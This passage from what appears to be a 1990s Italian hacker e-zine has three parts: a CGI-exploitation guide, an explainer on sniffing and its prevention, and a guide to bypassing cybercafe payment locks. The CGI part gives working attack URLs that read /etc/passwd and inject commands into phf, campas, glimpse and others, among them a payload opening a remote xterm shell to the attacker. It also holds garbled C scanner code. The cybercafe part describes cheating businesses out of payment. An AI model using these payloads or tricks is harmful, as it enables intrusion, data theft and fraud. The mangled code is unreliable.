sistema piuttosto logico per passar loro i parametri: l'URL. Ovvio: la richiesta di un documento html avviene tramite url, che tra l'altro e' l'unico mezzo di comunicazione (+ o -) tra web server e client. Quindi: chiamare una cgi equivale a richiedere una pagina html. Pertanto il passaggio dei parametri avviene esattamente allo stesso modo: http://indirizzo.del.server/cgi-bin/nomecgi?parametro1=valore1¶metro2=valore2+valore3 etc... |^^^^^^^| directory standard dove risiedono le cgi (al 90% dei casi) Il punto interrogativo serve per far capire alla cgi che stiamo passando dei parametri, poi il resto puo' consistere in un mare di cose... Prima di proseguire apro una piccola parentesi sull'url encoding, l'algoritmo che trasforma l'url che noi abbiamo inserito organizzando l'input per le cgi (e non solo, ma a noi per ora interessano quelle :) ) URL ENCODING 1. Converte tutti gli spazi in '+' . 2. Converte tutti i caratteri non alfanumerici nella sequenza %XX, dove XX rappresenta il codice ASCII/ANSI esadecimale del carattere da convertire (ad esempio lo spazio diventa %20 e il line feed diventa %0a: non vi dicono niente? :)) . 3. Se i dati provengono da una form, converte ogni dato nella forma "NOME=VALORE", dove NOME e' specificato nell'attributo NAME del tag usato nella form e VALORE e' il valore che l'oggetto ha assunto dopo l'interazione con l'utente. 4. Unisce i dati provenienti dalla form usando il carattere "&" come separatore, ottenendo una stringa nella forma: "nome1=valore1&nome2=valore2&nome3=valore3...." Tale stringa puo' essere al massimo lunga 1024 bytes. Ok, adesso possiamo proseguire. La CGI puo' venir chiamata in 2 modi: - GET, che puo' trasmettere solo le informazioni protocollo (http, ftp, gopher, etc..), indirizzo del server, path della cgi e parametri del tipo di cui sopra; - POST, che puo' anche inviare sullo standard input della CGI una quantita' arbitraria di dati. Il protocollo piu' diffuso di comunicazione tra server e CGI non e' l'HTML, almeno non sempre: infatti nella realta' il web server manda informazioni alla CGI attraverso delle VARIABILI d'AMBIENTE e, se l'invocazione avviene attraverso il metodo POST, anche attraverso lo standard input. Ecco un breve elenco delle variabili d'ambiente + diffuse: Nome Variabile Significato Esempio HTTP_USER_AGENT Il browser usato dall'utente Mozilla/3.01 (X11; I; Linux 2.0.29) SERVER_SOFTWARE Il software usato dal server Apache/1.1.3 SERVER_NAME Il nome ufficiale del server bfi98.home.ml.org REMOTE_HOST Il nome dell'host client localhost REMOTE_ADDR L'indirizzo IP dell'host client 127.0.0.1 DOCUMENT_ROOT Dove comincia la gerarchia dei /home/httpd/html documenti del server REMOTE_USER Nome dell'utente, se si e' guest identificato GATEWAY_INTERFACE Protocollo CGI in uso CGI/1.1 SERVER_PROTOCOL Protocollo HTTP in uso HTTP/1.0 REQUEST_METHOD Modalità di invio dati GET QUERY_STRING Dati inviati col metodo GET Codice=5432764&Data=cazzi+miei HTTP_REFERER Pagina da cui è stato invocata http://bfi98.home.ml.org/ la CGI PATH_INFO Path passato alla CGI /etc/passwd PATH_TRANSLATED Gerarchia del path /home/httpd/html/etc/passwd SCRIPT_NAME Nome della CGI /var.cgi SCRIPT_FILENAME Nome assoluto della CGI /home/httpd/html/var.cgi SERVER_PORT Porta su cui gira il server 80 SERVER_ADMIN Amministratore del server webmaster@suntcazzimia.org Dopodiche' la CGI genera un documento e lo scrive sul suo STANDARD OUTPUT in base al contenuto delle variabili d'ambiente e in base allo standard input (solo con il metodo POST). Prima di scrivere l'output vero e proprio si invia anche almeno un header per informare del tipo di dato che la CGI sta per trasmettere: Content-type: x/y seguita da una riga vuota (x/y e' il tipo MIME del dato da trasmettere che di solito vale text/plain, text/html, image/gif o altro). Per ulteriori info v. RFC 1521. Allora, fino a qua abbiamo visto come funziona una CGI; adesso ci preme trovare come utilizzarla nella maniera che piu' ci aggrada :) In linea generale non c'e' un metodo fisso per trovare i buchi nelle cgi: io pero' consiglio all'inizio di dare un'occhiata a quelle scritte in perl o in shell che non essendo compilate (cioe' binaries) potete sempre vedere come funzionano e se si possono passare parametri in piu' (che e' quello che avviene col phf, tanto per citarne uno :)) Adesso pero' veniamo al lato pratico e vediamo un po' di esempi sulle varie CGI bacate che ci stanno in giro :) (Evvai....bella devil....vai col liscio :)) Innanzitutto pensiamo che tutti tra voi conosceranno il bug del phf, uno dei piu' ampliamente trattati (un po' dovunque), quindi dei piu' conosciuti (anche dai sysadmin !!!) e anche dei piu' sfruttati per ottenere un sacco di shellettine :) , che non e' raro pero' da trovare tutt'ora. E pensiamo anche che diversi tra voi conosceranno il bug del test-cgi che consente di vedere i file che sono contenuti in un computer remoto. Ma questi due sono solo degli esempi di bug sfruttabili ed in questo articolo, o meglio in questa mini-guida, cercheremo di mostrarvene diversi altri meno conosciuti, ma non certo meno efficaci!!!! Prima pero' alcune considerazioni..... i bug delle cgi sono bug facili da sfuttare e che non richiedono una grande conoscenza tecnica per essere utilizzati, una volta imparata la sintassi e capite le varie potenzialita' chiunque e' in grado di farli funzionare ..... pero' non crediate che dopo esservi procurati un paio di file passwd di un sistema con i metodi descritti qui di seguito siate gia' diventati hacker e che dopo avere crackato qualche account abbiate gia' fatto tutto !!! Leggetevi un po' gli articoli di fusys sui log e non pensate che se ne possa fare a dimeno!!!!!!! Ricordatevi che quale che sia il bug che decidete di sfruttare esistera' sicuramente un file di log dove rimane scritto che cosa avete fatto o tentato di fare e quale ip avevate quando l'avete fatto!!! Sicche' se pensate di potere fare queste cose con il vostro account magari scrivendo la sintassi sotto netscape e da Winsozze 95 preparatevi ad un tempestivo intervento della pula a casa vostra :) sarete solo dei lamer e per di piu' sarete beccati (almeno un proxy, dai! NdDashie). Vabbe' si comincia davvero: Sui bug del phf e del test-cgi non aggiungiamo altro in quanto sono gia' stati abbondantemente trattati da Jack McKrak su System Down n.4 ( www.andrew.org/systemdown/ ). Aggiungiamo solo un paio di trucchetti per il phf e una piccola modifica per il test-cgi. Allora, supponiamo che abbiate trovato un sistema buggato col phf e che abbiate tentato di recuperare il file passwd, ma che invece del file contenente le passwd criptate siate andati a sbattere il capo con un sistema che usa le passwd shadow, prima di tentare di guessare qualche passwd o di trovare qualche altro bug per entrare, provate a vedere se il sistema che volete attaccare usa Yellow page, e provate a sfruttare lo ypcat per vedere il vero file delle passwd ad esempio cosi: http://www.sito.com/cgi-bin/phf/?Qalias=x%0a/usr/bin/ypcat%20/etc/passwd Come altra "dritta" vedete se avete uid e gid nobody sul computer che attaccate e poi anche se questo e' un Linux, se cosi' e' potete usare il trucchettino dell'rcp abbinato al phf per diventare root. In che consiste il trucchettino ??? Bhe, non ve lo dico :) perche' se mi mettessi a enumerare tutti i vari prog che potete chiamare col phf per ottenere root questo diventerebbe un trattato (peraltro pure palloso) sul phf e non sulle vulnerabilita' delle cgi in generale. Cmq, ci sono in giro diversi testi sull'argomento se vi interessa :) Oppure, guardate se il sistema utilizza Xwindow (per saperlo date un'occhiata alle porte 6000 etc etc) ed utilizzate xterm in combinazione con phf per ottenere una shell che non risulta sui vari log normali (utmp wtmp lastlog) e che ha i privilegi di phf (spessissimo nobody). Naturalmente Xwindow dovete averlo anche voi sul vostro computer!!!! Allora, come prima cosa fate un xhost +www.vittima.com sul vostro computer per accettare connessioni dall'host che volete attaccare. Poi dovete vedere in che path e' xterm sul computer che volete attaccare, di default questi sono i path di xterm (se no provate a fare un find con il phf per vedere dove e' xterm): AIX : /usr/bin/X11/xterm HP-UX: /usr/bin/X11/hpterm Linux: /usr/X11R6/bin/xterm SunOS: /usr/openwin/bin/xterm dopo che avete visto quale e' il path per voi, usate il phf cosi': http://www.victim.com/cgi-bin/phf?Qalias=x%0a/usr/openwin/bin/xterm%20display%20mio.ip.it:0 e una shell sul sistema remoto dovrebbe apparirvi in Xwindow. Per il test-cgi segnaliamo soltanto che con Apache1.2b1 dovrebbe funzionare questo: http://www.sito.com/cgi-bin/test-cgi? * (nota lo spazio) OK, andiamo a vedere qualche altro bug, questo non e' una cgi ma un trucchetto che funziona con certi web server, pero' lo descriviamo qui lo stesso :) , detto delle slash multiple: http://www.sito.com///cgi-bin/ e' possibile che vediate che cosa e' contenuto nella directory cgi-bin. Di cosa ve ne fate ??? Bhe .... controllate se il sito in questione ha qualcuna delle cgi di questo articolo per esempio, cosi' vi risparmiate la fatica di provarle tutte :) Con il CERN Httpd si puo' anche provare a fare un bel: http://www.sito.com//etc/passwd sostituendo il file delle passwd con un qualunque altro file contenuto sull'hard disk del computer remoto. Passiamo alle cgi vere e proprie: view source ci permette di dare un'occhiata a qualunque file del computer remoto, carino no :) basta solo beccare il numero di salti all'indietro da fare con ../ per arrivare alla dir / : ne consigliamo 4 o 5. La sintassi e': http://www.sito.com/cgi-bin/view-source?../../../../etc/passwd Cmq, view-source e' un bug che si trova moooooooooolto raramente sicche' fateci poco affidamento per penetrare in qualche sistema. La mitica php (sembra quasi che tutte le cgi che cominciano per ph siano buggate :) si trova abbastanza e ci mostra anch'essa ogni file sul computer remoto: http://www.sito.com/cgi-bin/php.cgi?/etc/passwd Poi c'e' il campas che non solo ci fa dare un'occhiata dappertutto, ma ci permette anche di eseguire qualunque comando con i privilegi con cui gira!!!! Che sfortunatamente (o fortunatamente per i sysadm) sono spesso scarsi. http://www.sito.com/cgi-bin/campas?%0acat%0a/etc/passwd%0a notare che anche qui come il phf %0a e' l'invio, e poi che si passano una serie di comandi, terminando il tutto con un altro %0a. Volendo perdere un po' di tempo si puo' provare anche ad utilizzare il query come il phf, pero' vi avvertiamo subito che questo bug e' obsoleto e che e' veramente un bel pezzo che non lo vediamo fungere piu'... : http://www.sito.com/cgi-bin/query?%0a/bin/cat%20/etc/passwd Un'altra cgi che si trova abbastanza e che e' buggata e' la Glimpse che ci permette di eseguire qualsiasi comando sul computer remoto, ad esempio, telnettando alla porta 80 e scrivendo poi GET /cgi- bin/aglimpse/80|IFS=5;CMD=5mail5hacker\@hotmail.com\ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define MAXSTR 12 main (int argc, char *argv[]) { struct sockaddr_in sin; /* int outsocket, serv_len, len,c,outfd; */ /* struct hostent *nametocheck; */ /* struct in_addr outgoing; */ struct hostent *hp; char host[100], buffer[1024], hosta[1024],FileBuf[8097]; int sock, i=0, X; char *stringhe[MAXSTR]; for(i=0;ih_addr, (char *) &sin.sin_addr, hp->h_length); sin.sin_family = hp->h_addrtype; sin.sin_port = htons(80); sock = socket(AF_INET, SOCK_STREAM, 0); X=connect(sock,(struct sockaddr *) &sin, sizeof(sin)); write(sock,stringhe[i],strlen(stringhe[i])*sizeof(char)); while((X=read(sock,FileBuf,8096))!=0) write(1,FileBuf,X); } } printf("\nScacco&Dark Schneider - Soft Project 98"); } --------------------------cut here---------------------------------------- Ok gente, per ora e' tutto.... See ya on BFI n.4!!!! DevilKiss & Dark Schneider, l'Oscuro Distruttore ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍHACKiNGÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ NETái0S ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍHACKiNGÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ SNiŸŸiNG ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Spoofing e Sniffing sono minacce alla sicurezza che attaccano i livelli piu' bassi delle architetture di rete che supportano la tecnologia internet. Gli utenti non interagiscono con questi livelli, in genere non sono nemmeno a conoscenza che questi esistano, ma senza una conoscenza di queste minacce e' difficile creare una infrastruttura resistente agli attacchi. Sniffing e' un attacco passivo alla sicurezza in cui una macchina riesce a leggere dei pacchetti non effettivamente destinati a se stessa. Il termine "Sniffing" deriva da "Sniff the ether" e' in inglese ed e' un gioco di parole, specie se applicata ad una rete "Ether"net a causa dei due significati della parola "ether". Vabbe', ciancio alle bande ... Gli attacchi di tipo passivo sono quelli che non modificano il normale flusso dei dati all'interno del collegamento. Spoofing e' un attacco di tipo attivo in cui una macchina su di una rete si maschera come una stazione differente. Come un attacco attivo distorce il normale flusso dei dati e puo' comportare l'inserimento dei dati all'interno di un collegamento tra due stazioni. Questo mascheramento punta ad ingannare le altre macchine sulla rete al fine di accettare l'impostore come originale sia per attirarlo a spedire informazioni o per permettere al "ladro" di alterare i dati. Il significato di "spoof" (imbroglio) non e' un gioco di parole come per sniffing, ma piuttosto indica una frode, un metodo per prendere l'identita' di un'altra "persona" all'interno del villaggio globale. Questa frode puo' sembrare inoffensiva, ma tutto dipende da quanto confidenziali siano le informazioni in transito sulla vostra rete! Sniffing Sniffing indica l'utilizzo di una interfaccia di rete per ricevere dati non esplicitamente indirizzati alla stazione in cui e' installata tale scheda. Molte macchine hanno questa peculiarita', una di queste e' il bridge. Un bridge Token Ring, ad esempio, ha due interfaccie che normalmente ricevono tutti i pacchetti in viaggio sulla rete. Un altro dispositivo che incorpora lo sniffing e' il cosiddetto "Network Analyzer"; questo software aiuta il manager di rete ad analizzare eventuali problemi con il flusso dei dati. I dispositivi di network analizing sono molto utili, nonostante il loro utilizzo possa attirare l'attenzione di persone maliziose per modificare un computer in una stazione spia. I programmi di sniffing possono essere utilizzati per spiare password, leggere E-Mail tra stazioni ed esaminare i record di tabelle client/server. Sniffing : Come Viene Effettuato In una rete che condivide il mezzo trasmissivo come Ethernet, tutte le interfaccie di rete attaccate al segmento possono avere accesso a tutti i dati in viaggio sul mezzo trasmissivo. Il perche' di questo fatto sta DENTRO la tecnologia ethernet e vi rimando ad eventuali articoli futuri per una trattazione piu' dettagliata dello standard IEEE 802.3 (o Ethernet). Ogni scheda ha un proprio indirizzo hardware (unico al mondo) ed un indirizzo "broadcast" che corrisponde all'intero set di interfaccie che costituiscono la rete. Normalmente una scheda risponde ad un messaggio solo quando il pacchetto in transito sulla rete porta in testa il proprio indirizzo o l'indirizzo broadcast. Lo sniffer ha la capacita' di mettere la scheda in modalita' "promiscua" e di copiare tutti i pacchetti in transito su di essa; in pratica considera tutti i pacchetti come broadcast. Il fattore principale che differenzia uno sniffer da un computer ordinario e' il software, questo e' prelevabile facilmente dalla rete o su vari BBS. Sniffer : dove trovarli. - Esniff.c e' un semplice programma di 300 linee di codice che lavora con sistemi SunOS 4.x. Se eseguito come root questo cattura i primi 300 bytes di ogni frames di tutte le connessioni TCP/IP. - TCPDump 3.0.2 e' uno sniffer molto piu' complicato scritto da Van Jacobson. La versione piu' recente e' prelevabile a ftp.ee.lbl.gov tramite FTP anonimo. - EthDump e' uno sniffer che gira sotto DOS e lo si puo' prelevare facilmente via FTP anonimo presso ftp.eu.germany.net. Sniffing : Come Attacca La Sicurezza Del Sistema La tecnica dello sniffing attacca tutto quell'insieme di informazioni che normalmente vengono considerate strettamente private. In particolare, uno sniffer puo' attaccare un sistema al fine di ottenere: - Passwords - Numeri di C/C - Dati privati - Informazioni di protocollo di basso livello Sniffing Password La perdita di privacy piu' comune legata al mondo dell'informatica, e' la perdita di una password. I dati custoditi da una password sono considerati al sicuro, ma spesso non e' cosi'. Gli utenti (molto in teoria) prestano molta attenzione alla password non scrivendola da nessuna parte, non dividendola con nessuno. (ovviamente parliamo di ambienti ad alta sicurezza, non parlo del dummy che si affaccia per la prima volta alla rete). Quando l'utente la digita, il sistema non ne fa un echo allo schermo per assicurarsi che nessuno la legga o che qualche esterno possa capire di quanti caratteri e' formata per tentare un eventuale "brute force attack". Dopo tutta questa serie di protezioni il sistema manda questa password al server per avere la certificazione dell'autenticita' dell'utente. La cosa interessante e' che questa password, spesso trasmessa carattere per carattere (pensiamo all'"rlogin" ...) viaggia in chiaro sul mezzo trasmissivo!! Gli utenti finali non si rendono conto che con un piccolo software possa venire messa a repentaglio la sicurezza dei nostri dati. Sniffing di numeri di C/C La maggior parte degli utenti non si fida a trasmettere numeri di C/C e simili attraverso rete. Questa apprensione e' giustificata ed e' data in parte dalla poca cura che le aziende hanno per le ricevute di acquisto elettroniche. Anche se Internet non e' a prova di proiettile la maggior parte degli attacchi non viene dall'esterno, ma bensi' dalla propria rete. Nonostante cio', le transazioni piu' pericolose sono quelle che involvono il movimento di soldi da e per conti correnti. Transazioni di questo tipo implicano la trasmissione di dati molto importanti che, qualora intercettati, potrebbero creare danni per svariati milioni, basti pensare che se l'hacker riuscisse ad intercettare le informazioni che proteggono la nostra somma di denaro, questi potrebbe muovere soldi verso il proprio conto corrente (magari alle Bahamas) e sparire senza lasciare tracce per lungo tempo. E chi lo ribecca piu'? Sniffing di Informazioni Personali La perdita di privacy e' comune anche nei movimenti di posta elettronica, ma in genere viene eseguita raramente e ha il solo scopo di conoscere meglio la vittima, le sue abitudini e le sue frequentazioni. Sniffing di Informazioni di Protocollo di Basso Livello Gli "information network protocol" trasmessi tra stazioni, contengono l'indirizzo hardware delle interfaccie locali, l'indirizzo IP delle stazioni remote, istruzioni di routing e numeri di sequenza assegnati ai frames delle connessioni TCP. Il prendere possesso di queste informazioni potrebbe essere utilizzato in malomodo da persone con lo scopo di attaccare il sistema informativo. Maggiori informazioni verranno discusse in una futura parte riguardante lo spoofing e che illustrera' come lo sniffing sia solo il preludio per un attacco a tutti gli effetti. Sniffing dei Pacchetti : Un Caso da Studiare. Prendiamo in esame questa piccola storia. Supponiamo che, tutti gli utenti di una universita' statunitense possano avere accesso ad alcuni terminali in aule di studio. Non e' molto pratico collegare ogni terminale agli host ed inoltre l'utente potrebbe avere la necessita' di utilizzare piu' di un host remoto. Per ovviare a questo problema la Central Computing (nome dell'aula di studio in cui erano posizionati i terminali) inseri' uno switch tra terminali ed host. I terminali erano tutti connessi allo switch in modo che ogni utente potesse avere un'ampia varieta' di scelta. Quando un utente richiede la connessione ad un host, lo switch crea una connessione fisica tra terminale e host. Fin qui tutto chiaro. Lo switch era equipaggiato con migliaia di porte e doveva essere teoricamente in grado di connettere ogni coppia di porte. In pratica si avevano alcune porte connesse a terminali ed altre connesse ad host. Per rendere il sistema maggiormente flessibile, le attrezzature del Central Computing vennero sostituite con altre piu' recenti che utilizzano un set di terminali Ethernet (DEC 550) con porte connesse allo switch, differentemente dal sistema precedente che utilizzava un numero fisso di porte connesse ad ogni host. Ogni ufficio e' dotato di cavi che corrono dal soffitto a delle spine alloggiate nel muro (tipo il doppino telefonico americano), queste a loro volta sono connesse ad un multiplexer che li connette allo switch. Il multiplexer ha lo scopo di limitare il numero di cavi da stendere per raggiungere le stazioni. Con questa configurazione, lo sniffing non e' assolutamente un problema, nessuna sala condivide alcun mezzo trasmissivo. Gli switch mediano le iterazioni tra i computer isolando il flusso di dati. Al posto di utilizzare singoli terminali, gli utenti possono usare computers posizionati sulla scrivania in aggiunta a quelli forniti dalla central computing. Lo switch tratta questi computers come semplici terminali. Durante il corso del tempo, pero', il numero di utenti crebbe notevolmente e lo switch divenne inadeguato. Per sostituire lo switch ed informatizzare l'intero edificio, venne installato un Hub Ethernet alle pendici dello stabile e questo venne collegato ai computer centrali tramite cavo 10BaseFB (10 Mbit/S - FB = Fiber Backbone). Altri Hub vennero installati nello sgabuzzino dei collegamenti di ogni piano. I cavi utilizzati per collegare le stazioni al multiplexer, ora vengono utilizzate per collegare le stazioni all'Hub. Nonostante lo schema di collegamento sia molto simile al precedente, il percorso compiuto dai dati non e' assolutamente uguale. Utilizzando questo schema qualsiasi ufficio puo' ascoltare le comunicazioni provenienti da qualsiasi computer nell'edificio semplicemente con l'uso di uno sniffer e cio' potrebbe comportare seri disagi (pensando spesso alla concorrenza che esiste tra gruppi di lavoro concorrenti - anche all'interno della stessa azienda). Questo puo' avvenire perche' tutte le persone di un edificio condividono un set di Hubs e quindi un ipotetico messaggio viene mandato in "broadcast" attraverso tutto l'edificio prima di essere prelevato dal vero destinatario. (La comunicazione non e' effettivamente in broadcast. Spesso pero' un messaggio prima di essere prelevato dall'effettivo proprietario e' in grado di compiere il giro dell'intera rete, quindi di raggiungere tutte le interfaccie). Questo studio di rete fallisce in maniera miserabile per cio' che riguarda la sicurezza. Qualsiasi computer e' in grado di ascoltare il traffico di tutto l'edificio. Il prossimo paragrafo illustra come prevenire tali situazioni. Sniffing : Come Prevenirlo Per essere in grado di prevenire lo sniffing, si deve prima capire il concetto di trust (fiducia) tra computer. Segmentazione della rete Un segmento di rete consiste in un set di macchine che condividono lo stesso mezzo trasmissivo e che vedono passare su di esso gli stessi dati. I cavi ad entrambi gli estremi di un repeater sono ovviamente nello stesso segmento di rete poiche' il repeater ha lo scopo di copiare bit a bit da un cavo ad un altro, non seleziona nulla, non si preoccupa cioe' del contenuto delle informazioni, lavora a livello MAC. Un Hub ordinario e' fondamentalmente un repeater multiporta; tutti i cavi attaccati ad esso sono parte dello stesso segmento. Nei dispositivi a piu' alto livello, accade qualcosa di differente. I cavi su ai lati di un bridge non fanno parte dello stesso segmento di rete, questo perche' il bridge compie una selezione sui pacchetti in transito. Avviene cio' che tecnicamente prende il nome di "store and foward". Alcuni pacchetti passano attraverso il bridge, ma non tutti. I due segmenti sono comunque parte della stessa rete fisica, ma il set di dati in transito ai due capi e' profondamente diverso. Come i bridge, anche gli switch hanno la stessa funzione. Il loro inserimento all'interno della rete limita il rischio di sniffing. L'inserimento di bridges e swtiches e' comunque motivato da fattori differenti dalla sicurezza. Questi dispositivi aumentano le performance del sistema riducendo le dimensioni delle collision window. Quando un tecnico pianifica una rete deve tenere conto anche di questi fattori in base al volume di traffico che prevede che circolera' nella sua rete. Un segmento e' un subset di macchine nella stessa subnet. I Router vengono utilizzati per partizionare la rete in subnets, quindi fanno anche da frontiere per la rete. La segmentazione e' il primo passo da compiere quando si vuole prevenire lo sniffing. L'ideale sarebbe utilizzare switches al posto di hubs per connettere le stazioni individualmente su di una rete con cavi 10BaseT. Questo, pero', non incontra gli ideali di praticita' ed economicita' e quindi spesso non viene nemmeno preso in considerazione. Capire il Concetto di "trust" Tipicamente, una persona pensa al trust (fiducia) applicandolo al livello di applicazione tra file servers e clients. Ovviamente il Server si fida dei Client per passargli i dati. Questa nozione di fiducia si puo' estendere anche ai dispositivi di livello inferiore. Per esempio, al livello di rete, i routers hanno la fiducia di trasmettere ed instradare i messaggi per la rete. Gli host si fidano dei routers e i routers sono macchine fidate. Se si estende ulteriormente il concetto al livello di data-link si raggiunge lo sniffing. Una macchina che deve mandare un messaggio considerato "importante" ad una stazione tramite un segmento, deve essere sicura che quel segmento sia fidato; deve fidarsi quindi di tutte le macchine su quel tratto di rete. Per far si' che le stazioni su di un segmento siano degne di fiducia, le macchine ed il collegamento tra loro devono godere di sicurezza fisica sufficiente (porte chiuse a chiave, guardie etc...) per assicurarsi che una persona qualsiasi non attacchi uno sniffer su tale segmento. (non spaventatevi e non accusatemi di fanatismo. E' ovvio che le situazioni di studio che presento sono casi estremi) La minaccia dello sniffing viene da qualcuno che installa del software su di una macchina normalmente in rete, qualcuno che porta uno sniffer in una stanza, collegandolo in rete, magari illegalmente, senza il permesso del system administrator. Per tenere conto di queste possibilita', si deve anche tenere conto del grado di sicurezza che offre il Sistema Operativo oltre che al grado di fiducia che si concede alla gente che frequenta le stanze in cui passa un tratto di rete considerato "fidato". Barriere Hardware Per creare segmenti fidati si devono installare barriere hardware tra tratti di rete sicuri e tratti di rete insicuri. Tutte le macchine su di un segmento si devono fidare delle altre in maniera reciproca, "mutuale" (per usare un termine che piace tanto agli americani). Un esempio potrebbe essere un segmento che non esce dalla sala macchine dei computer destinati agli studenti. Finche' si parla di sale computer destinate a studenti il discorso della sicurezza non e' molto rilevante. Diventa pero' piu' importante e meno chiaro dove tracciare la linea tra sicurezza ed insicurezza nell'ambito lavorativo. La base del trust tra le macchine e' data dalla fiducia che hanno gli impiegati tra di loro. Un collegamento deve avvenire in modo che due macchine non fidate siano sullo stesso segmento e in modo da non creare interferenza con stazioni fidate. Segmenti Utente Sicuri La sicurezza e' una cosa relativa, e' risaputo. In alcuni casi, in nome della sicurezza, potrebbe essere appropriato togliere all'utente l'uso della macchina, questo perche' non si ha fiducia in lui dal punto di vista tecnico. Comunque sia, per togliere all'utente l'uso della stazione e' sufficiente sostituire la sua workstation con un terminale stupido. Questo potrebbe sembrare scoraggiante, demoralizzante, ma pensiamo a come i terminali X-Windows forniscono all'utente tutte le caratteristiche e funzionalita' di una stazione per cio' che riguarda i software Unix. (pensiamo anche che queste stazioni non necessitano praticamente nemmeno di manutenzione). Se l'utente finale non e' fidato o se il software che gira sulla macchina puo' essere alterato a causa della locazione fisica della stazione, allora la macchina non deve essere un Personal Computer. Per il solo scopo nozionistico: per personal computer si intende una stazione che esegue sistemi operativi come Windows 3.11, Windows 95 o DOS. Questi S.O. mancano della nozione di utente privilegiato e permettono a qualsiasi persona di eseguire del software senza avere interferenze dal S.O. Quindi qualsiasi utente sarebbe in grado di eseguire uno sniffer da tali stazioni. I PC sono sempre stati famosi anche perche' davano la possibilita' all'utente finale di personalizzare il proprio "ambiente di lavoro". Nessun operatore di sistema poteva imporre limiti all'utente riguardo cio' che si poteva e non si poteva fare. In ambiti ad alta sicurezza, queste macchine vengono addirittura installate senza unita locale di backup (HDD) per prevenire l'installazione di software non autorizzati. Una stazione che esegue WindowsNT, Unix o VMS provvede un grado extra di sicurezza perche' questi S.O. includono il cosiddetto "utente privilegiato" ("administrator" in NT, "root" in Unix e "system" in VMS) che deve conoscere una password particolare. Questi sistemi operativi permettono l'accesso a certe funzioni hardware solo al superuser. Se l'utente finale accede ad una stazione, pero' questa non ha privilegi da superuser, allora questa stazione puo' essere fidata molto piu' dell'utente. Certo, e' comunque possibile trovare in giro per la "rete" programmi alternativi per il boot e riuscire ad ottenere privilegi root senza conoscere la password. Comunque sia, i sistemi considerati "sicuri" limitano all'utente la possibilita' di installare del software. Solitamente, l'unico software che l'utente puo' installare e' il sistema operativo. Alex Kuligk ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍHACKiNGÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ DiVERTiRSi AL CYáERCAŸE ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Allora... questa piccola guida nasce dopo una seratella ad un cafe in compagnia di amici ... ed ha come scopo quello di farvi divertire in questi splendidi locali, e senza pericolo per il vostro portafoglio... ;) e serve sopratutto ad aiutare chi si collega spesso da questi posti e non vuole pagare senza avere conoscenze tecniche precise :). Prima di tutto dobbiamo analizzare l'organizzazione del locale stesso, la locazione delle macchine da utilizzare per divertirsi e sopratutto lo status dell'admin. Quest'ultima cosa la potete vedere facilmente non appena entrati nel cafe: prima di tutto sbirciate sul bancone del tipo per individuare il sistema operativo (moltissime volte si trattera' di un win95 o nt, pochissime altre di sistemi unix).... molto probabilmente se ha un sistema win, l'admin non e' una grande cima in materia :>. Dopo questo date uno sguardo all'ambiente circostante: ottime sono le macchine in fondo ai corridoi... insomma, trovatevene una sufficientemente lontano dal bancone principale, e sopratutto che vi permetta di avere gli occhi verso l'amico admin ;). Una volta seduti al computer potrete notare una delle cose che piu' influiranno sulla vostra sessione di smanettamento, ovvero il sistema di protezione dei vari client. I sistemi piu' diffusi sono (sotto sistemi windows) dei programmucoli che funzionano con semplicissime password (oppure nome utente senza password, in certi casi), che permettono l'utilizzo di determinati .exe in un arco di tempo prestabilito: si va dai 15 ai 60 minuti.O meglio ancora, potete trovare dei programmi veramente cazzoni che si limitano a permettere di utilizzare win normalissimamente in base a quanto avete pagato :P. Quindi, dopo che avete acquisito queste vitali informazioni, potete dare inizio alle danze. Prima di tutto, se il sistema di protezione permette di eseguire la combo alt+tab per passare ad altri processi, potete benissimo divertirvi con internet anche quando il vostro tempo e' finito e il sistema viene lockato a meno che non si sborsi un po' di soldi ;). Facciamo conto che voi abbiate prontamente aperto un browser e l'immancabile mirc nella vostra sessione, il sistema si locka... salta su la schermatina del programmino che vi dice "Ehi tipo, paga o sloggia"... e voi lo ignorate con un semplice alt+tab. Il suddetto programma, se poi rompe con la sua presenta poppandovi una finestrella che ha priorita' maggiore rispetto alle altre, e quindi vi appare continuamente in foreground, non fate altro che la combo ctrl+alt+canc e segate via il processo :)) ecco il nostro amico sistemato. Mi raccomando, non dimenticatevi di lanciare nuovamente il programmucolo altrimenti l'admin se ne accorgerebbe... anche se e' il piu' fagiano dei fagiani. Queste qui sono le protezioni piu' cazzone :)) sicuramente ... ma di solito questo tipo di programmi cosi' facilmente segabili e' utilizzato da almeno il 60% di cybercafe. Adesso andiamo sulle cose un po' piu' "difficili" ..... per modo di dire :P. Bruttine sono le protezioni che permettono solamente l'utilizzo di certi exe (ad esempio, vi viene presentato un menu e potete lanciare solamente i programmi li' presenti). Non ci sono assolutamente problemi ... infatti, voi aprite il browser, che sicuramente sara' tra i programmi selezionabili, e non fate altro che inserire, a mo' di dos, il drive e la directory che volete esplorare ... ed avrete accesso all'intero sistema :)) Se poi si tratta di Internet Exploder del nostro amico Billy, addirittura potrete lanciare tranquillamente programmi proprio dal browser ... come se fosse un "Gestione Risorse" o come cazzo si chiama ;). Un altro metodo carino e' quello di associare come viewer esterno del browser 